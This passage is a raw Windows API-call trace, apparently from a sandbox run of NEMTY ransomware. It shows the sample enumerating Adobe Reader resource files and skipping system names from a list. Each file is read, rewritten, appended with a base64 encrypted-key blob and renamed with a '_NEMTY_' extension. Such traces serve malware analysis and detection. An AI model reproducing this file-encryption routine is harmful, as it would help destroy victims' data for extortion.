hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CL.txt", lpUsedDefaultChar=0x0) returned 30 [0215.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.301] Sleep (dwMilliseconds=0x5) [0215.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f8c510, dwHighDateTime=0x1d561e8)) [0215.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f8c510, dwHighDateTime=0x1d561e8)) [0215.309] GetLastError () returned 0x0 [0215.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.309] GetLastError () returned 0x0 [0215.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.309] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.309] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.309] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.309] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="b0abbSQw10iHzgeq2XOBKt/pXTbv56CZ2BLler88NsHbbguQXBbiCrpAVvYkZeKJ\r\nYnI9P7WnG2OO3YeTPcCAafPHneT0izhqDzQZdj1XB80NSyZ/L0sf9v9USWwr888S\r\n2g0oVU/x4ZlnNVwGXWKfAJRRPz62nZ+ficmXfdmCQ5KRYnYDFslRGAAGQQHch3k6\r\nnB3xUnKVsVhrHLQh7Qxc5gqzerrXKVg77LZILau2X3T4hJUFHah9p8P3A7Ixkw4m\r\nFOiUEB5cFSju2KWDPAcccixcY/0TWM/bwzu+iv606YEqHjhDg32NwEeuHHq1EwWV\r\nSMvyWxihVGR4Zq81KuejCw==\r\n", pcchString=0x653e5dc) returned 1 [0215.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.310] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.310] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.310] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.314] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.314] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.314] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.314] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.314] CloseHandle (hObject=0x2e8) returned 1 [0215.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.315] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt._nemty_kgobjgd_")) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.315] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_CO.txt", cAlternateFileName="DIF0AE~1.TXT")) returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2=".") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="..") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="...") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="windows") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="rsa") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="NTDETECT.COM") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="ntldr") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="MSDOS.SYS") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="IO.SYS") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="boot.ini") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="boot.ini") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="ntuser.dat") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="desktop.ini") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="CONFIG.SYS") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="RECYCLER") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="bootmgr") returned 1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="programdata") returned -1 [0215.316] lstrcmpiW (lpString1="DisplayLanguageNames.es_CO.txt", lpString2="appdata") returned 1 [0215.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.317] Sleep (dwMilliseconds=0x5) [0215.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33fb2670, dwHighDateTime=0x1d561e8)) [0215.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33fb2670, dwHighDateTime=0x1d561e8)) [0215.325] GetLastError () returned 0x0 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.325] GetLastError () returned 0x0 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.325] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.325] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.325] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.325] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="uTKA9naulGkhKlZL1TRIz6wVPAdnCD/dgyZcJjmgq5CwPaSDJxCuvMQxzxXYhxWW\r\nwBCpYKFvZbz1WzybX63/UXLaA+joPqddqnhPzKlnLIPGI96dMexuAYgf2UsDaCqL\r\n1gVN4/or1ul+v46ZETmWpVQI14NGpf6eywrU8xCTj4sIw7/ohFAvDRJEwRP0KwcF\r\n/Vb29UWzXu06XG1+MRffuZ77bRJc2bIbQF81umvPLPiMZGut19OJ9l1ZucYK3biu\r\nzlF6uoFWVepTfPjD3ds6PLVbhBZ/EGvfFjwAPLXYlAv/eO5+ne3IGhXNyINQauGA\r\nMxOUZeKaMJHvy5z7/WT3hg==\r\n", pcchString=0x653e5dc) returned 1 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.326] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28368) returned 1 [0215.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ed0) returned 0x6352c48 [0215.326] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.326] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ed0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ed0, lpOverlapped=0x0) returned 1 [0215.329] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.329] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ed0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ed0, lpOverlapped=0x0) returned 1 [0215.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.330] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed0 [0215.330] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.330] CloseHandle (hObject=0x2e8) returned 1 [0215.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.330] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt._nemty_kgobjgd_")) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.331] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_CR.txt", cAlternateFileName="DI0002~1.TXT")) returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2=".") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="..") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="...") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="windows") returned -1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="rsa") returned -1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="NTDETECT.COM") returned -1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="ntldr") returned -1 [0215.331] lstrcmpiW 